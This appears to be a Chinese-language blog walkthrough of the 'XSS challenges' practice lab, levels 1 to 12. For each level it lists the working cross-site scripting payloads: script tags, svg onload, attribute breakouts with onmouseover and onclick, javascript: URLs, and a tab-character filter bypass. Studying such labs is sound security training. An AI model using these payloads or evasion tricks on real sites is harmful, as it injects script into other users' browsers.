XSS challenges靶机
第一关
![](https://upload-images.jianshu.io/upload_images/4664072-66828aa169f6ba96.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
<script>alert(123)</script>
"><svg onload=alert(123)>
![](https://upload-images.jianshu.io/upload_images/4664072-17ce846b11c4e8e9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第二关
![](https://upload-images.jianshu.io/upload_images/4664072-dc8a60c1fdfbf1f9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
<script>alert(123);</script>
![](https://upload-images.jianshu.io/upload_images/4664072-caf96513508f5dae.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-b9574178aa9c9ea1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
"><script>alert(123);</script>
或者
"><svg onload=alert(123)>
![](https://upload-images.jianshu.io/upload_images/4664072-6d667daab4dea341.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第三关
![](https://upload-images.jianshu.io/upload_images/4664072-0d8eb04b127019c6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
;javascript:alert(document.domain);//
![](https://upload-images.jianshu.io/upload_images/4664072-e676c67c69d9c7de.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-65b9cd82ac97c3ac.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
<script>alert(123);</script>
![](https://upload-images.jianshu.io/upload_images/4664072-6fb63353caa7b860.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-5dabbfd03fa23283.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第四关
<script>alert(123);</script>
![](https://upload-images.jianshu.io/upload_images/4664072-43111c6ba517299c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
<script>alert(123);</script>
![](https://upload-images.jianshu.io/upload_images/4664072-c58d831cc959f04d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-99c6a8bbda7b6ec0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-8459de1bfa924401.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
"><script>alert(123);</script>
"><svg onload=alert(123)>;
![](https://upload-images.jianshu.io/upload_images/4664072-b49859240a96e8d2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-9569244709cc6335.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第五关
![](https://upload-images.jianshu.io/upload_images/4664072-1f8e107a3e8e483a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-99c069c60b4406b9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
"><script>alert(123)</script>
![](https://upload-images.jianshu.io/upload_images/4664072-257410da4c5ef8a3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-b391834a285a9386.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第六关
![](https://upload-images.jianshu.io/upload_images/4664072-4ab783b0e7b9014b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-02bb3805e79294c7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
<>符号被HTML 特殊字符代替
" οnclick="alert(123)"
" onmouseover=alert(123)%0a
![](https://upload-images.jianshu.io/upload_images/4664072-0f7fc43471e92dda.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-4c70d7646db7b113.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第七关
"><script>alert(123)</script>
![](https://upload-images.jianshu.io/upload_images/4664072-77091cfbc8c19b10.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
" onmouseover=alert(123)
![](https://upload-images.jianshu.io/upload_images/4664072-db915d9f10e13a33.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
" οnclick="alert(123)"
![](https://upload-images.jianshu.io/upload_images/4664072-bc6ecbbf2d8908db.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-f21999ef8a69f5da.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第八关
![](https://upload-images.jianshu.io/upload_images/4664072-85c3ebb193d4a7c3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
javascript:alert(123)
![](https://upload-images.jianshu.io/upload_images/4664072-5c6480673a7ec53b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第九关
![](https://upload-images.jianshu.io/upload_images/4664072-6de3e8f5d64c2d2b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-44dd0a021d231c7e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-3494eea6611b34db.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-3dccbcaf5b83a443.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-748b4f7dd0086317.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-0226f8d711a62830.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-f8a8216052b480bf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
失败
第10关
"><svg onload=alert(123)>">
![](https://upload-images.jianshu.io/upload_images/4664072-2257d49c9fa1553c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
" onmouseover=alert(123); x="
![](https://upload-images.jianshu.io/upload_images/4664072-3c73f94f67387d60.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-7ee6cb303ae279c9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
"><script>alert(123);</script><"
![](https://upload-images.jianshu.io/upload_images/4664072-ec16d2985f6c1dff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第十一关
![](https://upload-images.jianshu.io/upload_images/4664072-88e63bbfcf3be222.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-fb231d18c07244d9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
script会被替换为xscript
on事件会被替换为onxxx
style会被替换为stxxx
"><a href="javascript:alert(123);">123</a><"
将script中的某个字符转为unicode编码,或者可以插入	, ,空格等不可见字符对script进行分割,让正则匹配不到
"><a href="javascri%09pt:alert(123);">123</a><"
![](https://upload-images.jianshu.io/upload_images/4664072-dfcfec6aa4741861.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-e0e80612c71a234b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
第十二关
![](https://upload-images.jianshu.io/upload_images/4664072-31c7856b4ce6f358.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
发现过滤了<>"
``onmouseover=alert(123);
无ie浏览器